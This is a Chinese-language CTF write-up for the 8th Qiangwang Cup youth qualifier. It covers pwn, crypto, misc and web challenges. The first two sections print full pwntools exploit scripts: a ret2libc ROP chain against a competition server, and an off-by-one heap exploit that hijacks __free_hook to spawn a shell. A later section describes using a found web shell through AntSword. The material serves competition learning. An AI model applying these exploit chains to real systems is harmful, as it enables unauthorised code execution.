第八届强网杯青少年专项赛线上选拔赛ctf题解
1645122158332729 发表于 河南 CTF 296浏览 · 2024-11-27 03:36

1. clock_in
ida审计代码发现

get_info函数存在栈溢出漏洞,未开启pie保护,ROPgadget查询到程序中rdi寄存器的地址,直接构造rop链子打ret2libc即可。

from pwn import*
from struct import pack
import ctypes
context(log_level = 'debug',arch = 'amd64')
p=process('./clock_in')
p=remote('101.200.61.16',22552)
elf=ELF('./clock_in')
#libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
libc=ELF('libc.so.6')
def bug():
    gdb.attach(p)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
def pr(a):
    print(p.recv(a))
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
    return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
    return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
rdi=0x000000004011c5
rl("Your info: ")
pay=b'a'*0x48+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401253)
sl(pay)
libc_base=get_addr64()-libc.sym['puts']
system,bin=get_sb()
pay1=b'a'*0x48+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
sl(pay1)
inter()

2. journey_story
2.31版本的堆菜单题。
做堆题首先就是要全面的审计代码,查看程序是否存在uaf,堆溢出等漏洞。
其次就是要注意不同版本情况下堆大小对应的堆管理器利用。

add函数,申请堆块大小在0x28--0xb0区间,最多申请32个堆块。

delete函数这里我们发现free掉一个堆块之后,会将fd,bk位清零,这里并不存在uaf漏洞,我们需要利用其他手法。

edit函数,发现是利用for循环一个字节一个字节的进行编辑的,++i这里就存在多一个字节可编辑的漏洞,也就是off by one。


show函数,打印出现存所有堆块的情况。
基本打法就是先free掉7个同大小的堆块使其填满tcachebins,然后再利用off by one进行堆块合并使其进入unsortedbin,在申请出来泄露libc地址,同时造成两个指针指向同一个堆块。

此时在去申请几个0x48大小的堆块(0号开始),利用edit的一字节溢出修改下一个堆块的size为0xa1(即将1号堆块和2号堆块合并,即1号堆块大小变为0xa0)

将1号堆块free之后发现进入了unsortedbin

接下来将1号堆块申请回来,此时就会从unsortedbin里面进行切割,那么2号堆块就会进入unsortedbin,但是其实我们并没有对2号堆块进行free的操作,因此fd和bk位的值并不会被清空,也就是说我们可以利用show函数去泄露地址。

这里可以看到2号堆块的inues位是1,表示并没有被free操作。
接下来我们将unsortedbin里的2号堆块申请出来就会造成新堆块与原2号堆块其实指向的是同一个堆块,那么我们就可以进行类似于uaf利用的操作了。

发现7号堆块和2号堆块指向同一个位置,我们free掉2号堆块再去编辑7号堆块就相当于一次uaf利用,接下来就是将free_hook修改为system函数即可。

成功获得权限

from pwn import*
from struct import pack
import ctypes
context(log_level = 'debug',arch = 'amd64')
p=process('./jourary')
#p=remote('challenge.yuanloo.com',20660)
elf=ELF('./jourary')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def bug():
    gdb.attach(p)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
def pr(a):
    print(p.recv(a))
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
    return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
    return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def add(size,content):
    rl("Choose an option: ")
    sl(str(1))
    rl("): ")
    sl((size))
    rl("characters): ")
    sl(content)
def free(idx):
    rl("Choose an option: ")
    sl(str(2))
    rl("): ")
    sl(str(idx))
def edit(idx,content):
    rl("Choose an option: ")
    sl(str(3))
    rl("): ")
    sl(str(idx))
    rl("characters): ")
    sl(content)
def show():
    rl("Choose an option: ")
    sl(str(4))
for i in range(7):
    add(b'0x98',b'a')
for i in range(7):
    free(i)
for i in range(7):
    add(b'0x48',b'a')
edit(0,b'a'*0x48+b'\xa1')
free(1)
add(b'0x48',b'a')
show()
libc_base=get_addr64()-2018272
li(hex(libc_base))
system,bin=get_sb()
free_hook=libc_base+libc.sym['__free_hook']
add(b'0x48',b'c'*8)#7
free(1)
free(2)
edit(7,p64(free_hook))
add(b'0x48',b'/bin/sh\x00')#1
add(b'0x48',p64(system))#2
free(1)
inter()

3. 签到漫画
签到题,给了四个二维码片段拼接到一起用工具扫码即可。


4. whitepic
010打开发现

改后缀为gif,然后Stegsolve.jar逐帧查看即可

5. 删除后门用户2

userdel有root权限

sudo可以执行kill命令

用kill将b这个进程给删除掉

编辑一个sh脚本循环删除backdoor用户


fix成功
6. Classics

简单的编码直接按照编码方式逆向解码即可

7. AliceAES

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend

# Your message
message = "Hello, Bob!"

# Key and IV
key = b'0a51195089038e59'  # 16 bytes key
iv = b'c49e610759a4c88d'   # 16 bytes IV

# Ensure the key and IV are the correct length
assert len(key) == 16
assert len(iv) == 16

# Pad the message to be a multiple of AES block size (16 bytes)
padder = padding.PKCS7(128).padder()
padded_data = padder.update(message.encode()) + padder.finalize()

# Create a new AES cipher object in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

# Encrypt the message
encryptor = cipher.encryptor()
encrypted = encryptor.update(padded_data) + encryptor.finalize()

# Convert the encrypted message to HEX format
encrypted_hex = encrypted.hex()

print(f"Encrypted message in HEX: {encrypted_hex}")

8. easymath
easymath.py

from Crypto.Util.number import *
from gmpy2 import next_prime
from secrets import flag
l=2331
key=0
for k in range(2**(l-1),2**l):
    s=bin(k)[2:]
    if(k%2==1 and '1111' not in s and '0000' not in s):
        key+=1
p=next_prime(key)
q=getPrime(2048)
n=p*q
e=65537
m=bytes_to_long(flag)
c=pow(m,e,n)
print(f'n=',n)
print(f'c=',c)

n=739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059
c=229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969955453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743

看过题目之后,发现只要算力足够强大,key就是已知的,p就是已知的。但是再看看,循环
(2的2331次方-2的2330次方)次,算到猴年马月去。。。

for k in range(2**(l-1),2**l):
    s=bin(k)[2:]
    if(k%2==1 and '1111' not in s and '0000' not in s):
        key+=1

有三个规则计数

  • 奇数
  • 二进制中没有0b1111
  • 二进制中没有0b0000

那么使用动态规划的思想,通过迭代地构建有效数字的集合,并在每一步中扩展这些数字,对他们逐组计数,最后合计就是key了。

初始化一个字典dp,它将二进制数0b01作为键,值设为1,表示在位数为1的情况下,只有一个有效的数字(即1本身)。

空字典me_dp,用于存储当前长度的有效数字及其计数。

sum(count for last_digits,count in dp.items() if last_digits & 0b1 == 1)

对dp字典中的内容处理,分别为last_digits,count,如果last_digits%2 == 1,即计数。
exp.py

from Crypto.Util.number import *
from gmpy2 import next_prime

def count(l):
    dp = {0b01:1}
    for length in range(2,l + 1):
        me_dp = {}
        for last_digits,count in dp.items():
            for next_bit in [0,1]:
                new_last_digits = ((last_digits << 1) | next_bit) & 0b1111
                if new_last_digits != 0b1111 and new_last_digits != 0b0000:
                    if new_last_digits not in me_dp:
                        me_dp[new_last_digits] = 0
                    me_dp[new_last_digits] += count
        dp = me_dp
    num = sum(count for last_digits,count in dp.items() if last_digits & 0b1 == 1)
    return num

l = 2331
key = count(l)
p = next_prime(key)
n=739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059
c=229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969955453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743
q = n // p
phi = (p - 1) * (q - 1)
d =inverse(65537,phi)
print(long_to_bytes(pow(c,d,n)))

9. ezGetFlag
点击十次之后post随便传个参数就行

10. ezFindShell
全局搜索post,发现后门

直接用蚁剑进行连接

发现flag

0 条评论
某人
表情
可输入 255
目录